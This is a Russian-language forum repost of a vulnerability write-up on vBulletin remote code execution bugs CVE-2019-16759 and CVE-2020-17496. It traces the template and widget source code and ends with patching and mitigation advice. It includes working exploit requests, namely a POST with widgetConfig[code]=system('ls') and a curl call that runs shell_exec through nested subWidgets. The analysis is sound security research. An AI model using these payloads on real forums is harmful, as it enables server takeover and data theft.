The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project

Секрет виджета. Эксплуатируем новую опасную уязвимость в форуме vBulletin

BlackPope

Местный
Регистрация
27.04.2020
Сообщения
242
Реакции
34
vBulletin — это продвинутый форумный движок, который позволяет множеству пользователей общаться между собой. Из-за стремительного роста популярности мессенджеров форумы в 2020 году уже не так актуальны, но если и попадаются во время тестирования, то в двух случаях из трех это будет именно vBulletin.

Вкратце баг заключается в следующем: виджет tabbedcontainer_tab_panel разрешает загружать дочерние виджеты и передавать им произвольные параметры. С помощью специально сформированного запроса злоумышленник может вызвать widget_php и удаленно выполнить произвольный код на PHP.

Уязвимость получила статус критической и была срочно исправлена разработчиками.

INFO
Баг обнаружил Амир Этемадие (Amir Etemadieh), более известный как @Zenofex. Уязвимости присвоен номер CVE-2020-17496. Проблема существует в vBulletin с версии 5.5.4 до 5.6.2. Эксплуатация возможна из-за неполного исправления уязвимости CVE-2019-16759.

Сегодня я рассмотрю, как vBulletin работает с роутингом запросов, как работают виджеты и их шаблоны, и, конечно же, разберем детали уязвимости и проэксплуатируем систему.

Стенд

Для тестового окружения, как всегда, будем использовать Docker. Сначала создадим контейнер для базы данных. Я воспользуюсь MySQL.

docker run -d -e MYSQL_USER="vb" -e MYSQL_PASSWORD="JS7G5yUmaV" -e MYSQL_DATABASE="vb" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7

Затем запустим контейнер, на котором будет располагаться веб-сервер и сам форум. Не забываем слинковать его с БД.

docker run --rm -ti --link=mysql --name=vbweb --hostname=vbweb -p80:80 debian /bin/bash

В качестве сервера я буду использовать Apache. Поэтому установим его и PHP с необходимыми модулями.

apt update && apt install -y apache2 php nano unzip netcat php-mysqli php-xml php-gd

Включаем модуль mod-rewrite и запускаем Apache.

a2enmod rewrite
service apache2 start


Теперь нужно установить vBulletin. Продукт коммерческий, и я здесь не стану рассматривать, как его получить. Все тесты будем проводить на последней уязвимой версии — 5.5.6. Распаковываем ее в директорию /var/www/html и устанавливаем.


Начало установки vBulletin

Если ты хочешь вместе со мной более подробно рассмотреть уязвимость и покопаться в сорцах, то неплохо бы настроить отладку. Я буду использовать связку Xdebug + PhpStorm.

Устанавливаем и активируем Xdebug. Делать это лучше после того, как vBulletin будет установлен, у меня были проблемы во время инсталляции, пришлось отключить.

apt update && apt install -y php-xdebug
phpenmod xdebug


Включаем удаленную отладку и указываем IP-адрес сервера. Обрати на него внимание, а также на пути к файлам — у тебя это все может быть другим.

echo "xdebug.remote_enable=1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini
echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini


Теперь перезагружаем веб-сервер.

service apache2 restart

В PhpStorm включаем ожидание коннекта от отладчика. Добавляем параметр XDEBUG_SESSION_START=phpstorm к запросу, если хотим, чтобы дебаггер сработал.


Включаем прослушивание соединений от Xdebug в PhpStorm

Стенд готов, и можно переходить к разбору уязвимости.

Обработка URI

Сначала посмотрим, как vBulletin обрабатывает запросы пользователя, а конкретно роуты.

.htaccess

01: <IfModule mod_rewrite.c>
02: RewriteEngine On
...
39: RewriteCond %{REQUEST_FILENAME} !-f
40: RewriteCond %{REQUEST_FILENAME} !-d
41: RewriteRule ^(.*)$ index.php?routestring=$1 [L,QSA]


Проверяется, существует ли файл, и если нет, то указанный URI передается в качестве параметра routestring.

Как и большинство современных фреймворков, форум поддерживает автозагрузку классов через spl_autoload_register.

index.php

33: require_once('includes/vb5/autoloader.php');
34: vB5_Autoloader::register(dirname(__FILE__));


includes/vb5/autoloader.php

13: abstract class vB5_Autoloader
14: {
15: protected static $_paths = array();
16: protected static $_autoloadInfo = array();
17:
18: public static function register($path)
19: {
20: self::$_paths[] = (string) $path . '/includes/'; // includes
21:
22: spl_autoload_register(array(__CLASS__, '_autoload'));
23: }


Затем начинается проверка переданного роута. Вызывается метод isQuickRoute.

index.php

37: if (vB5_Frontend_ApplicationLight::isQuickRoute())

includes/vb5/frontend/applicationlight.php

079: public static function isQuickRoute()
080: {
...
091: foreach (self::$quickRoutePrefixMatch AS $prefix => $route)
092: {
093: if (substr($_REQUEST['routestring'], 0, strlen($prefix)) == $prefix)
094: {
095: return true;
096: }
097: }
098:
099: return false;
100: }


В переменной $quickRoutePrefixMatch хранятся префиксы роутов, которые должны обрабатываться при помощи quickRoute.

ajax/apidetach
ajax/api
ajax/render



Проверка роута в vBulletin 5.5.6

Возвращение к истокам. Работа с виджетами, CVE-2019-16759 и ее патч

Обратимся к эксплоиту для прошлогодней уязвимости CVE-2019-16759.

POST /index.php HTTP/1.1
Host: vb.vh
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Connection: close

routestring=ajax/render/widget_php&widgetConfig
Код:
=system('ls');[/B]

Здесь в качестве routestring передается ajax/render/widget_php. Префикс как раз подходит под условие quickRoute. После этого вызывается $app->execute().

[CENTER][SIZE=5][B]index.php[/B][/SIZE][/CENTER]

[B]37: if (vB5_Frontend_ApplicationLight::isQuickRoute())
38: {
...
41:     if ($app->execute())[/B]

Это главный метод, который передает управление на нужные участки кода, чтобы обработать запрос пользователя. В нашем случае вызывается обработчик callRender. Он запускает формирование ответа пользователю.

[CENTER][SIZE=5][B]includes/vb5/frontend/applicationlight.php[/B][/SIZE][/CENTER]

[B]161:  public function execute()
...
181:      $serverData = array_merge($_GET, $_POST);
182:
183:      if (!empty($this->application['handler']) AND method_exists($this, $this->application['handler']))
184:      {
185:          $app = $this->application['handler'];
186:          call_user_func(array($this, $app), $serverData); [/B]

[IMG]https://sun9-56.userapi.com/Vsirs7n_yYy0BOz2dNUcvWGEhn9K5BmzNPdguw/84KJFQ4pEgg.jpg[/IMG]
[I]Вызов обработчика callRender в vBulletin[/I]

[CENTER][SIZE=5][B]includes/vb5/frontend/applicationlight.php[/B][/SIZE][/CENTER]

[B]282:  protected function callRender($serverData)
283:  {
284:      $routeInfo = explode('/', $serverData['routestring']);[/B]

Далее в коде идет первый патч, который исправляет прошлогоднюю RCE.

[CENTER][SIZE=5][B]includes/vb5/frontend/applicationlight.php[/B][/SIZE][/CENTER]

[B]291:  $templateName = $routeInfo[2];
292:  if ($templateName == 'widget_php')
293:  {
294:      $result = array(
295:          'template' => '',
296:          'css_links' => array(),
297:      );
298:  }[/B]

Если имя запрошенного шаблона widget_php, то возвращается пустой массив. Пришло время поговорить о виджетах и их шаблонах. В vBulletin есть система виджетов (модулей), которые могут отображать разную информацию на сайте. Таким образом, страница сайта может состоять из некоторого количества таких вот блоков-виджетов со своими стилями и данными. Похожая штука сейчас есть в каждой уважающей себя CMS, так как это удобный и гибкий инструмент кастомизации.

Шаблоны всех виджетов описываются в файле vbulletin-style.xml. При установке форума они записываются в базу данных.

[CENTER][SIZE=5][B]core/install/vbulletin-style.xml[/B][/SIZE][/CENTER]

[B]<templategroup name="Module">
  <template name="widget_aboutauthor" templatetype="template" date="1452807873" username="vBulletin" version="5.2.1 Alpha 2"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
  ...
  <template name="widget_activate_email" templatetype="template" date="1458863949" username="vBulletin" version="5.2.2 Alpha 3"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">[/B]

Шаблоны не написаны на чистом PHP, а используют свой синтаксис, который сначала обрабатывается шаблонизатором. Он возвращает результат как строку кода на PHP, который затем проходит процесс «рендеринга». Во время этого данные попадают в функцию eval.

Так вот, среди вороха этих виджетов имеется widget_php. Этот модуль позволяет отображать результаты выполнения произвольного кода на PHP.

[CENTER][SIZE=5][B]core/install/vbulletin-style.xml[/B][/SIZE][/CENTER]

[B]  <template name="widget_php" templatetype="template" date="1569453621" username="vBulletin" version="5.5.5 Alpha 4"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
    {vb:data widgetConfig, widget, fetchConfig, {vb:raw widgetinstanceid}}
  </vb:if>

  <vb:if condition="!empty($widgetConfig)">
    {vb:set widgetid, {vb:raw widgetConfig.widgetid}}
    {vb:set widgetinstanceid, {vb:raw widgetConfig.widgetinstanceid}}
  </vb:if>
  ...
  {vb:template module_title,
    widgetConfig={vb:raw widgetConfig},
    show_title_divider=1,
    can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}
    <div class="widget-content">
      <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
        ...
        {vb:phpeval {vb:raw widgetConfig.code}}
        ...
      </vb:if>
    </div>
  </div>]]></template>[/B]

Здесь нас встречает еще одно последствие патча уязвимости. Обрати внимание на атрибут version. Это версия последнего обновления шаблона (5.5.5 Alpha 4). До патча часть кода с выполнением PHP выглядела несколько иначе.

[CENTER][SIZE=5][B]vBulletin 5.5.3/core/install/vbulletin-style.xml[/B][/SIZE]
[/CENTER]
[B]<div class="widget-content">
  <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
    {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
    {vb:raw $evaledPHP}
  <vb:else />[/B]

Об этом поговорим немного позже, здесь лишь осталось сказать, что с шаблонами работает класс vB_Template.

Теперь возвращаемся к эксплоиту CVE-2019-16759. Предположим, что у нас непатченная версия форума и скрипт выполняется дальше.

[CENTER][SIZE=5][B]includes/vb5/frontend/applicationlight.php[/B][/SIZE][/CENTER]

[B]301:  $this->router = new vB5_Frontend_Routing();
302:  $this->router->setRouteInfo(array(
303:      'action'          => 'actionRender',
304:      'arguments'       => $serverData,
305:      'template'        => $templateName,
...
310:      'queryParameters' => $_GET,
311:  ));
312:  Api_InterfaceAbstract::setLight();
313:  $result = vB5_Template::staticRenderAjax($templateName, $serverData);[/B]

Теперь управление передается в класс vB5_Template. Вызывается метод staticRenderAjax, а из него попадаем в более общий staticRender.

[CENTER][SIZE=5][B]includes/vb5/template.php[/B][/SIZE][/CENTER]

[B]16:   class vB5_Template
17:   {
...
731:    public static function staticRenderAjax($templateName, $data = array())
732:    {
733:        $rendered = self::staticRender($templateName, $data, true, true);
...
737:        return array(
738:            'template' => $rendered,
739:            'css_links' => $css,
740:        );[/B]

Следующий шаг — это сопоставление переменных в шаблоне виджета с теми, что были переданы в запросе пользователем. Напоминаю, что я передавал параметр widgetConfig[code]=system('ls');.
[CENTER]
[SIZE=5][B]includes/vb5/template.php[/B][/SIZE][/CENTER]

[B]703:  public static function staticRender($templateName, $data = array(), $isParentTemplate = true, $isAjaxTemplateRender = false)
704:  {
...
710:      $templater = new vB5_Template($templateName);
711:
712:      foreach ($data AS $varname => $value)
713:      {
714:          $templater->register($varname, $value);
715:      } [/B]

[IMG]https://sun9-28.userapi.com/PQGsTTaQ0Rm08LjOV-p9zzH0Yv5H3P3iuPbVDQ/Hhaa2jShhRk.jpg[/IMG]
[I]Сопоставление параметров из запроса переменным в шаблоне виджета[/I]

[CENTER][SIZE=5][B]core/install/vbulletin-style.xml[/B][/SIZE][/CENTER]

[B]  {vb:phpeval {vb:raw widgetConfig.code}}[/B]

После подгрузки необходимых классов мы попадаем в метод рендеринга шаблона.

[CENTER][SIZE=5][B]includes/vb5/template.php[/B][/SIZE][/CENTER]

[B]717:  $core_path = vB5_Config::instance()->core_path;
718:  vB5_Autoloader::register($core_path);
719:
720:  $result = $templater->render($isParentTemplate, $isAjaxTemplateRender);[/B]

Здесь мы встречаем очередную часть кода, которая патчит уязвимость, — метод cleanRegistered.

[CENTER][SIZE=5][B]includes/vb5/template.php[/B][/SIZE][/CENTER]

[B]341:  public function render($isParentTemplate = true, $isAjaxTemplateRender = false)
342:  {
...
350:      if($isParentTemplate)
351:      {
352:          $this->cleanRegistered();
353:      }[/B]

[CENTER][SIZE=5][B]includes/vb5/template.php[/B][/SIZE][/CENTER]

[B]128:  private function cleanRegistered()
129:  {
130:      $disallowedNames = array('widgetConfig');
131:      foreach($disallowedNames AS $name)
132:      {
133:          unset($this->registered[$name]);
134:          unset(self::$globalRegistered[$name]);
135:      }
136:  }[/B]

Здесь из зарегистрированных переменных шаблона удаляется widgetConfig, чтобы нельзя было напрямую из запроса изменять конфигурацию виджета. Как раз через эту переменную я передаю пейлоад на PHP.

[IMG]https://sun9-7.userapi.com/jGay9ZR2Ey6nOyeboCf2LnfpN5REeX_3Ch1Nsw/1thzmD1_Wk4.jpg[/IMG]
[I]Метод cleanRegistered для исправления уязвимости CVE-2019-16759[/I]

Предположим, что этого метода у нас нет. Дальше инициализируется кеш vBulletin, и управление переходит к getTemplate.

[CENTER][SIZE=5][B]includes/vb5/template.php[/B][/SIZE][/CENTER]

[B]391:  $templateCache = vB5_Template_Cache::instance();
392:  $templateCode = $templateCache->getTemplate($this->template);[/B]

[CENTER][SIZE=5][B]includes/vb5/template/cache.php[/B][/SIZE][/CENTER]

[B]177:  public function getTemplate($templateId)
178:  {
179:
180:      if (is_array($templateId))
181:      {
182:          return $this->fetchTemplate($templateId);
183:      }
184:
185:      if (!isset($this->cache[$templateId]))
186:      {
187:          $this->fetchTemplate($templateId);
188:      }
189:
190:      if (isset($this->cache[$templateId]))
191:      {
192:          return $this->cache[$templateId];
193:      }[/B]

Этот метод сначала пытается найти уже сгенерированный код шаблона в кеше, и если такового не обнаруживается, то в дело вступает fetchTemplate.
[CENTER]
[SIZE=5][B]includes/vb5/template/cache.php[/B][/SIZE][/CENTER]

[B]207:  protected function fetchTemplate($templateName)
208:  {
...
216:          $method = 'fetch';
217:          $arguments = array('name' => $templateName);
218:      }
..
224:      $response = Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments);[/B]

Вся магия происходит в этом вызове:

[B]Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments)[/B]

Из псевдокода шаблона получается готовый код на PHP.

[CENTER][SIZE=5][B]includes/api/interface/collapsed.php[/B][/SIZE][/CENTER]

[B]084:  public function callApi($controller, $method, array $arguments = array(), $useNamedParams = false, $byTemplate = false)
085:  {
...
101:          $result = call_user_func_array(array(&$c, $method), $arguments);[/B]

[CENTER][SIZE=5][B]core/vb/api/template.php[/B][/SIZE][/CENTER]

[B]19: class vB_Api_Template extends vB_Api
20: {
...
49:     public function fetch($template_name, $styleid = -1)
50:     {
51:         return $this->library->fetch($template_name, $styleid);
52:     }[/B]

[CENTER][SIZE=5][B]core/vb/library/template.php[/B][/SIZE][/CENTER]

[B]19: class vB_Library_Template extends vB_Library
20: {
...
31:     public function fetch($template_name, $styleid = -1, $nopermissioncheck = false)
32:     {
...
50:         $templates = $this->fetchBulk(array($template_name), $styleid, 'compiled', $nopermissioncheck); [/B]

[IMG]https://sun9-56.userapi.com/ngne7rbdzwHaG2lM1WtH7bY4z2K9-yfAsgfMhA/_xm37rYFSvY.jpg[/IMG]
[I]Выполнение метода callApi. Получение шаблона виджета[/I]

В методе fetchBulk шаблон виджета подгружается из базы данных.

[IMG]https://sun9-68.userapi.com/8VQN4WaSb-KvQ2_2aYdz54JRt0qqSgtLiICJKg/coNOo7sPf8I.jpg[/IMG]
[I]Загрузка шаблона виджета widget_php из базы данных[/I]

[CENTER][SIZE=5][B]core/vb/library/template.php[/B][/SIZE][/CENTER]

[B]68:   public function fetchBulk($template_names, $styleid = -1, $type = 'compiled', $nopermissioncheck = false)
69:   {
...
121:      if (!empty($templateids))
122:      {
123:          $result = vB::getDbAssertor()->select('template', array('templateid' => $templateids), false,
124:              array('title', 'textonly', 'template_un', 'template'));
125:
126:          foreach ($result AS $template)
127:          {
128:              if ($type == 'compiled')
129:              {
130:                  $response[$template['title']] = $this->getTemplateReturn($template);
131:                  self::$templatecache[$template['title']] = $response[$template['title']];
132:              }[/B]

Результат записывается в кеш.

[CENTER][SIZE=5][B]includes/vb5/template/cache.php[/B][/SIZE][/CENTER]

[B]227:  if (is_array($response) AND isset($response['textonly']))
228:  {
...
252:  else
...
253:  {
257:      $response = str_replace('vB_Template_Runtime', 'vB5_Template_Runtime', $response);
258:      $this->cache[$templateName] = $response;[/B]

В случае с виджетом widget_php прошедший через шаблонизатор код выглядит так.

[CENTER][SIZE=5][B]widget_php_rendered[/B][/SIZE][/CENTER]

[B]01: $final_rendered = '' . ''; if (empty($widgetConfig) AND !empty($widgetinstanceid)) {
02:                     $final_rendered .= '
03:     ' . ''; $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final_rendered .= '' . '
04: ';
05:                 } else {
06:             $final_rendered .= '';
07:         }$final_rendered .= '' . '
...
20:     ' . vB5_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'show_title_divider' => '1', 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . '
...
22:     <div class="widget-content">
23:         ' . ''; if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) {
24:                     $final_rendered .= '
25:             ' . '' . '
26:             ' . vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'] . '') . '
27:         ';[/B]

[IMG]https://sun9-62.userapi.com/ONfCVyuoLoyFWIIcjluiQek_3dy3GxFjDrFKhg/2bmaragIfhc.jpg[/IMG]
[I]Сгенерированный шаблон виджета widget_php[/I]

В строке 26 можно увидеть конструкцию vB5_Template_Runtime::evalPhp. Однако до патча эта часть кода выглядела несколько иначе. Как я упоминал, сам шаблон виджета имел другой вид.

[CENTER][SIZE=5][B]vBulletin 5.5.3/core/install/vbulletin-style.xml[/B][/SIZE][/CENTER]

 [B]   {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
  <vb:else />[/B]

Эта конструкция обрабатывалась контроллером vB5_Frontend_Controller_Bbcode. В итоге вызывался обычный eval.

[CENTER][SIZE=5][B]vBulletin 5.5.3/includes/vb5/frontend/controller/bbcode.php[/B][/SIZE][/CENTER]

[B]013: class vB5_Frontend_Controller_Bbcode extends vB5_Frontend_Controller
014: {
...
224:    function evalCode($code)
225:    {
226:        ob_start();
227:        eval($code);
228:        $output = ob_get_contents();
229:        ob_end_clean();
230:        return $output;
231:    }[/B]

В новой версии форума разработчики пересмотрели логику работы виджета. Добавили другой метод — vB5_Template_Runtime::evalPhp, который, по сути, также выполняет код, переданный в параметре widgetConfig['code'], с той лишь разницей, что сначала проверяет имя шаблона, где происходит попытка вызвать метод. И если он отличается от widget_php, то возвращается пустая строка.

[CENTER][SIZE=5][B]includes/vb5/template/runtime.php[/B][/SIZE][/CENTER]

[B]1992:  public static function evalPhp($code)
1993:  {
...
1996:      if (self::currentTemplate() != 'widget_php')
1997:      {
1998:          return '';
1999:      }
2000:      ob_start();
2001:      eval($code);
2002:      $output = ob_get_contents();
2003:      ob_end_clean();
2004:      return $output;
2005:  }[/B]

Такое решение должно усилить безопасность и запретить любым другим шаблонам передавать потенциально небезопасные данные в функцию eval.

После этого небольшого отступления возвращаемся к выполнению скрипта. Если код виджета успешно получен, то передаем его на выполнение.

[CENTER][SIZE=5][B]includes/vb5/template.php[/B][/SIZE][/CENTER]

[B]392:  $templateCode = $templateCache->getTemplate($this->template);
...
400:      eval($templateCode);
...
444:  vB5_Template_Runtime::endTemplate();
...
452:  return $final_rendered; 

[IMG]https://sun9-57.userapi.com/dyxjRe_hOeGo6ifepGjgBVzHxaoMRUS6HKE-3w/Ihe7uNVHdxk.jpg[/IMG][/B]
[I]Выполнение PHP-кода шаблона widget_php[/I]

Пейлоад отрабатывает, и в ответе от сервера можно видеть результат выполнения функции system('ls').

[IMG]https://sun9-10.userapi.com/m2RJWFlSACSukgaG_993ld3fpFUWyMBaKbXBqg/R6ci4UCOBKs.jpg[/IMG]
[I]Успешная эксплуатация уязвимости CVE-2019-16759 в vBulletin[/I]

Таким образом, возможность выполнять код через widget_php осталась, только теперь атакующий не может делать это напрямую. Это приводит нас к поиску обходных путей и новой уязвимости.

[CENTER][SIZE=5][B]Детали CVE-2020-17496[/B][/SIZE][/CENTER]

Хочу обратить внимание, что виджеты не только могут не быть самостоятельными элементами, но и бывают вложенными. В один виджет может быть вложено несколько дочерних. То есть можно обрабатывать и отображать результаты работы других виджетов. Такая логика работы отлично вписывается в идею обхода ограничений, которые были добавлены патчем для CVE-2019-16759. Нужно только найти виджет, в шаблоне которого будет возможность вызывать дочерние. И Амир обнаружил такой — widget_tabbedcontainer_tab_panel.

[CENTER][SIZE=5][B]core/install/vbulletin-style.xml[/B][/SIZE][/CENTER]

[B]<template name="widget_tabbedcontainer_tab_panel" templatetype="template" date="1532130449" username="vBulletin" version="5.4.4 Alpha 2"><![CDATA[{vb:set panel_id, {vb:concat {vb:var id_prefix}, {vb:var tab_num}}}[/B]

Виджет обрабатывает массив subWidgets, в котором ищет ключ template и подгружает шаблон указанного в нем виджета.

[CENTER][SIZE=5][B]core/install/vbulletin-style.xml[/B][/SIZE][/CENTER]

[B]  <vb:each from="subWidgets" value="subWidget">
      -- {vb:raw subWidget.template}
  </vb:each>[/B]

А с помощью ключа config можно передавать параметры в дочерний шаблон (обрати внимание на атрибут widgetConfig).

[CENTER][SIZE=5][B]core/install/vbulletin-style.xml[/B][/SIZE][/CENTER]

  [B]<vb:each from="subWidgets" value="subWidget">
    {vb:template {vb:raw subWidget.template},
      widgetConfig={vb:raw subWidget.config},
      widgetinstanceid={vb:raw subWidget.widgetinstanceid},
      widgettitle={vb:raw subWidget.title},
      tabbedContainerSubModules={vb:raw subWidget.tabbedContainerSubModules},
      product={vb:raw subWidget.product}
    }
  </vb:each>[/B]

Давай проверим это на каком-нибудь простеньком виджете.

[CENTER][SIZE=5][B]core/install/vbulletin-style.xml[/B][/SIZE][/CENTER]

[B]<template name="widget_search2_viewall_link__searchresults" templatetype="template" date="1504914629" username="vBulletin" version="5.3.4 Alpha 2"><![CDATA[<a href="{vb:url 'search'}?r={vb:raw nodes.resultId}" class="b-button">
  <vb:if condition="!empty($widgetConfig['view_all_text'])">
    {vb:var widgetConfig.view_all_text}
  <vb:else />
    {vb:phrase view_all}
  </vb:if>
</a>]]></template>[/B]

Здесь в качестве параметра можно передать view_all_text. Этот текст будет отображен в шаблоне как текст ссылки. Отправляем запрос.

[B]curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel?XDEBUG_SESSION_START=phpstorm" -s -X POST -d 'subWidgets[0][template]=widget_search2_viewall_link__calendar&subWidgets[0][config][view_all_text]=HELLOTHERE!'[/B]

При рендеринге widget_tabbedcontainer_tab_panel в том месте, где будет дочерний виджет, вставляется плейсхолдер. Шаблон приобретает следующий вид.

[B]<div id="" class="h-clearfix js-show-on-tabs-create h-hide">
  <!-- ##template_widget_search2_viewall_link__calendar_0## -->
</div>[/B]

Затем вызывается метод replacePlaceholders, который, как видно из названия, проходит по шаблону, ищет плейсхолдеры, вызывает необходимые модули и вставляет результаты их работы в нужное место.

[CENTER][SIZE=5][B]includes/vb5/template.php[/B][/SIZE][/CENTER]

[B]421:  // always replace placeholder for templates, as they are process by levels
422:  $templateCache->replacePlaceholders($final_rendered); [/B]

[IMG]https://sun9-25.userapi.com/O4iUZzhDby0-Y6jJZ1iTt1HBc9qXrenLJxcLYg/5LyVBX9J62c.jpg[/IMG]
[I]Рендеринг вложенных виджетов в шаблоне[/I]

Здесь используется точно такой же набор вызовов. Метод fetchTemplate получает шаблон виджета.

[CENTER][SIZE=5][B]includes/vb5/template/cache.php[/B][/SIZE][/CENTER]

[B]103:  public function replacePlaceholders(&$content)
104:  {
105:      // This function procceses subtemplates by level
106:
107:      $missing = array_diff(array_keys($this->pending), array_keys($this->cache));
108:      if (!empty($missing))
109:      {
110:          $this->fetchTemplate($missing);
111:      }[/B]

Затем в него передаются переменные. Так параметры из нашего POST-запроса попадают в шаблон.

[CENTER][SIZE=5][B]includes/vb5/template/cache.php[/B][/SIZE][/CENTER]

[B]125:  foreach ($levelPending as $templateName => $templates)
126:  {
127:      foreach ($templates as $placeholder => $templateArgs)
128:      {
129:          $templater = new vB5_Template($templateName);
130:          $this->registerTemplateVariables($templater, $templateArgs); [/B]

[IMG]https://sun9-34.userapi.com/QXK4TnIpkXYZoXJVv0o8C1OMdhQ8T33dR8GkNQ/qQER1GfrtXY.jpg[/IMG]
[I]Передача переменных в дочерний шаблон[/I]

И снова рендеринг, но уже дочернего модуля.

[CENTER][SIZE=5][B]includes/vb5/template/cache.php[/B][/SIZE][/CENTER]

[B]132:  try
133:  {
134:      $replace = $templater->render(false);[/B]

Таким образом, та часть патча, где проверяется имя модуля, остается далеко позади.

[CENTER][SIZE=5][B]includes/vb5/frontend/applicationlight.php[/B][/SIZE][/CENTER]

[B]292:  if ($templateName == 'widget_php')
293:  {
294:      $result = array(
295:          'template' => '',
296:          'css_links' => array(),
297:      );[/B]

Но это еще не все, так как в этот раз и в ветку с методом cleanRegistered мы не попадаем. Это происходит из-за того, что вызов render был инициирован не родительским методом и переменная isParentTemplate установлена в false.

[IMG]https://sun9-61.userapi.com/b1G8ITJjIT5sPM65WnNB9MPYZMVZAvQFUBE8Og/1aSiDW7cc98.jpg[/IMG]
[I]При рендеринге дочернего виджета cleanRegistered не вызывается и переменная widgetConfig не очищается[/I]

[CENTER][SIZE=5][B]includes/vb5/template.php[/B][/SIZE][/CENTER]

[B]341:  public function render($isParentTemplate = true, $isAjaxTemplateRender = false)
342:  {
...
350:      if($isParentTemplate)
351:      {
352:          $this->cleanRegistered();[/B]

Это значит, что widgetConfig будет в целости и сохранности. Еще одна часть фикса уязвимости миновала.

Дочерний виджет отрабатывает, и результат добавляется в родительский.

[CENTER][SIZE=5][B]includes/vb5/template/cache.php[/B][/SIZE][/CENTER]

171:  $content = str_replace($placeholder, $replace, $content); 

[IMG]https://sun9-59.userapi.com/irdSOKk0mhev8ebGO_v_8R3rVZh7TQI3sdkaoA/CeFY_T0fq84.jpg[/IMG]
[I]Дочерний виджет добавляется в родительский[/I]

На выходе получается что-то вроде такого:

[B]<div id="" class="h-clearfix js-show-on-tabs-create h-hide">
  <!-- BEGIN: widget_search2_viewall_link__calendar --><a href="!!VB:URL1284a43c8c1d5b8763560fbb7e88642e!!?searchJSON=" class="b-button">
  HELLOTHERE
  </a><!-- END: widget_search2_viewall_link__calendar -->
</div> [/B]

[IMG]https://sun9-46.userapi.com/wNVy-kB1XWtfPuu4C1jxNCuH5YqSXiENUgxE1g/dXSs6ICxvqA.jpg[/IMG]
[I]Вызов произвольного дочернего виджета из родительского в vBulletin[/I]

Но это всё игрушки. Теперь пора взяться за серьезные вещи. Берем прошлогодний эксплоит и переделываем его прямой вызов на дочерний другого виджета.

[B]subWidgets[0][template]=widget_php
subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;[/B]

Отправляем полученный результат на widget_tabbedcontainer_tab_panel.

[B]curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel" -s -X POST -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;'[/B]

В ответ получаем результат выполненной на сервере команды.

[IMG]https://sun9-54.userapi.com/owPYofQ6jfCUdJs5BR7iEuFu4LY6FNFhMzB17A/jguji3EsYrE.jpg[/IMG]
[I]Успешная эксплуатация RCE в vBulletin[/I]

[CENTER][SIZE=5][B]Выводы[/B][/SIZE][/CENTER]

Сегодня мы затронули разные аспекты работы форумного движка vBulletin. Посмотрели на реализацию механизма виджетов и на их слабые стороны. На самом деле текущая реализация вызывает много вопросов с точки зрения безопасности. Парсинг псевдокода в PHP и выполнение его через функцию eval создает много потенциально узких мест. Например, любая неотфильтрованная или некорректно отфильтрованная переменная в шаблоне приведет к еще одной RCE. Нужно внимательно следить за корректностью формирования кода шаблона, фильтрация XSS превращается в настоящую головную боль.

Сейчас баг исправлен разработчиками, так что, если ты админишь форум на этом движке, спеши обновиться или установить патчи.

Как временную меру могу посоветовать отключить рендеринг PHP в виджетах. Как ты, возможно, заметил, в шаблоне встречалась проверка опции disable_php_rendering.

[B]  <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">[/B]

Для этого нужно зайти панель администратора, в раздел основных настроек, и включить опцию Disable PHP, Static HTML, and Ad Module rendering.

[IMG]https://sun9-44.userapi.com/yNnpMAIGacnmEfNS20WvEMEoG-_hk8oWXkfZkQ/ms1M90DW42c.jpg[/IMG]
[I]Временная мера для CVE-2020-17496. Отключение модулей, исполняющих PHP-код[/I]

Это, конечно, может поломать что-то на твоем форуме, зато его не поломает кто-то со стороны. По крайней мере, не с помощью этого эксплоита!
 
Верх